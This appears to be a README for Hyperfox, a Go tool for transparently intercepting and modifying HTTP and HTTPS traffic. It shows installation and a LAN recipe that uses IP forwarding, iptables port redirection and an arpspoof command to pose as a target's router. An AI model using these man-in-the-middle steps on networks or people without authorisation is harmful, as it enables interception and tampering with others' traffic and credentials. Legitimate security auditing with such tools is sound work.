Hyperfox is a security tool for transparently hijacking/proxying HTTP and HTTPs traffic.
HTTPs could be hijacked/proxied if, and only if, the client application accepts bogus certificates.
Hyperfox could be used as a tool for auditing a wide range of applications, including mobile apps.
- Saves all the traffic between client and server.
- Can modify server responses before arriving to the client.
- Can modify client requests before sending them to the destination server.
- Supports SSL.
- Supports streaming.
Check that your
GOPATH variables are correctly set in your
$ cat .zshrc # ... stuff ... export GOROOT=/usr/lib/go export GOPATH=$HOME/go export PATH=$PATH:$GOROOT/bin:$GOPATH/bin
$ mkdir -p $GOPATH/src $ mkdir -p $GOPATH/bin $ mkdir -p $GOPATH/pkg
Now attempt to install.
% go get github.com/xiam/hyperfox % hyperfox -h
hyperfox, it will start in HTTP mode listening at
0.0.0.0:9999 by default.
% hyperfox -s -c ssl/cert.pem -k ssl/key.pem
hyperfox won’t be of much use if the host machine has no traffic to analyze or if
the only traffic to analyze is its own.
A common usage on a LAN is putting the host machine in forwarding mode, this will allow the host to forward traffic and be used as a gateway.
# Linux sysctl -w net.ipv4.ip_forward=1 # FreeBSD/OSX sysctl -w net.inet.ip.forwarding=1
Then prepare the host machine to actually forward everything but the port we want to
analyze (80 in this example), we need all the traffic on that port to be redirected to
hyperfox is listening.
# Linux (HTTP) iptables -A PREROUTING -t nat -i wlan0 -p tcp --destination-port 80 -j REDIRECT --to-port 9999 # FreeBSD/OSX (HTTP) ipfw add fwd 127.0.0.1,9999 tcp from any to any 80 via wlan0
Finally, use ARP spoofing to trick other machines into think our host machine is their router.
arpspoof -i wlan0 -t 10.0.0.123 10.0.0.1
The example above uses arpspoof.
